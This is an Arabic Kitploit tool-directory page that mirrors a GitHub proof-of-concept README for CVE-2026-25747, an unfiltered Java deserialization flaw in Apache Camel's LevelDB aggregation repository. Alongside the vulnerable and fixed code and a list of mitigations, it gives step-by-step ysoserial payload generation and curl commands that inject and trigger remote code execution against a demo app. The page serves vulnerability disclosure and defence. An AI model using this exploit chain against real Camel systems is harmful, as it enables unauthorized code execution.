Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-25747 — CVE-2026-25747 - ثغرة إلغاء التسلسل في Camel LevelDB | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-25747
تحليل الثغرات الأمنيةتحليل الكودالاستغلالأمن الويباختبار الاختراقالتعلم والتعليم
GitHuboscerd/cve-2026-25747

CVE-2026-25747

CVE-2026-25747 - ثغرة إلغاء التسلسل في Camel LevelDB

عرض المستودع
منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مذكّر استغلال ثغرة إلغاء تسلسل في LevelDB

يعرض هذا المشروع ثغرة إلغاء تسلسل في Java في مستودع تجميع LevelDB الخاص بـ Apache Camel، وهي مشابهة لـ CVE-2024-23114 (التي أثرت على مستودع تجميع Cassandra).

ملخص الثغرة

الخاصيةالقيمة
المكوّنcamel-leveldb
الفئة المتأثرةDefaultLevelDBSerializer.java
الطرق القابلة للاستغلالdeserializeKey()، deserializeExchange()
CWECWE-502: إلغاء تسلسل بيانات غير موثوقة
الأثرتنفيذ تعليمات برمجية عن بُعد (RCE)
الإصدارات المتأثرةجميع الإصدارات بما في ذلك 4.17.0 (غير مُصحَّح حتى وقت الاختبار)

التفاصيل الفنية

تستخدم فئة DefaultLevelDBSerializer كائن ObjectInputStream خام دون أي تصفية:

root@kitploit:~
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
    try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
        return (String) ois.readObject();  // NO FILTERING!
    }
}

// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    return deserializeExchange(camelContext, buffer, b -> {
        try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
            return (DefaultExchangeHolder) ois.readObject();  // NO FILTERING!
        }
    });
}

قارن ذلك بتطبيق Cassandra المُصحَّح (منذ Camel 4.4.0):

root@kitploit:~
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
    ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
    objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
    // Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
    return objectIn.readObject();
}

المتطلبات الأساسية

  • Java 17+
  • Maven 3.8+
  • ysoserial (لإنشاء الحمولة)

خطوات إعادة الإنتاج

الخطوة 1: البناء وتشغيل التطبيق

root@kitploit:~
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run

الخطوة 2: تهيئة قاعدة بيانات LevelDB

root@kitploit:~
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init

المخرجات المتوقعة:

root@kitploit:~
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key

Now you can inject a malicious payload with POST /exploit/inject

الخطوة 3: إنشاء حمولة خبيثة

نزّل ysoserial وأنشئ حمولة:

root@kitploit:~
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt

# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt

# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt

الخطوة 4: حقن الحمولة في LevelDB

root@kitploit:~
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  -d @payload.txt

المخرجات المتوقعة:

root@kitploit:~
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key

The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs

الخطوة 5: تشغيل إلغاء التسلسل (RCE!)

root@kitploit:~
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger

سيؤدي هذا إلى المرور عبر جميع المفاتيح واستدعاء repo.get() الذي يشغّل إلغاء التسلسل!

الخطوة 6: التحقق من نجاح الاستغلال

root@kitploit:~
# Check if the command was executed
ls -la /tmp/pwned

إذا كان الملف /tmp/pwned موجودًا، فقد نجح الاستغلال!

نواقل الهجوم

يمكن تشغيل الثغرة عبر مسارات متعددة:

  1. إعادة تشغيل التطبيق: عند بدء تشغيل Camel، يستعيد التجميعات غير المكتملة من LevelDB
  2. آلية الاسترداد: فحص الاسترداد الدوري يلغي تسلسل المخزّنات المخزنة
  3. الوصول المباشر: أي استدعاء get() على المستودع يؤدي إلى إلغاء التسلسل

شروط الاستغلال

لنجاح الاستغلال:

  1. حق الوصول للكتابة إلى LevelDB: يجب أن يكون المهاجم قادرًا على الكتابة في ملف قاعدة بيانات LevelDB

    • نظام ملفات مشترك
    • تخزين مخترَق
    • ثغرة أخرى تسمح بكتابة الملفات
  2. مكتبة Gadget في مسار الفئات (Classpath): يجب أن توجد مكتبة تحتوي على سلاسل أدوات (gadget chains) قابلة للاستغلال

    • commons-collections:3.2.1 (أدوات CommonsCollections1-7)
    • org.springframework:spring-core (أدوات Spring)
    • وغيرها الكثير (انظر ysoserial)

المقارنة مع CVE-2024-23114

الإصلاح المقترح

طبّق نفس الإصلاح المطبَّق على Cassandra:

  1. استخدم ClassLoadingAwareObjectInputStream بدلاً من ObjectInputStream الخام
  2. أضف ObjectInputFilter قابلًا للتهيئة مع قيم افتراضية آمنة
  3. المرشح الافتراضي: "java.**;org.apache.camel.**;!*"

مثال على الإصلاح لملف DefaultLevelDBSerializer.java:

root@kitploit:~
private String deserializationFilter = "java.**;org.apache.camel.**;!*";

public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
    try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
            new ByteArrayInputStream(buffer))) {
        ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
        // ... rest of deserialization
    }
}

التخفيف

حتى يتم إصدار إصلاح:

  1. قيّد الوصول إلى الملفات: تأكد من أن ملفات LevelDB قابلة للكتابة فقط من قبل تطبيق Camel
  2. أزل مكتبات الأدوات: إن أمكن، أزل أو حدّث المكتبات الضعيفة مثل commons-collections 3.x
  3. استخدم مسلسلًا بديلًا: هيّئ JacksonLevelDBSerializer بدلاً من DefaultLevelDBSerializer
  4. تقسيم الشبكة: اعزل الأنظمة التي تستخدم تجميع LevelDB

الملفات

root@kitploit:~
potential-leveldb/
├── pom.xml                          # Maven configuration with vulnerable deps
├── README.md                        # This file
└── src/main/java/com/example/
    ├── Application.java             # Spring Boot entry point
    ├── LevelDBRoute.java           # Camel route using LevelDB aggregation
    ├── StringAggregationStrategy.java
    └── ExploitController.java      # REST endpoints for exploitation

إخلاء المسؤولية

هذا المذكّر مُقدَّم لأغراض البحث الأمني والاختبار المصرَّح به فقط. لا تستخدمه ضد أي أنظمة دون إذن صريح.

تنزيل الأداة
الجانبCassandra (CVE-2024-23114)LevelDB (هذه المشكلة)
الحالةمُصحَّحة في 4.4.0غير مُصحَّحة في 4.17.0
ObjectInputStreamيستخدم ClassLoadingAwareObjectInputStreamيستخدم ObjectInputStream خام
مرشح إلغاء التسلسل"java.**;org.apache.camel.**;!*"لا يوجد
JIRACAMEL-20306لم يُسجَّل بعد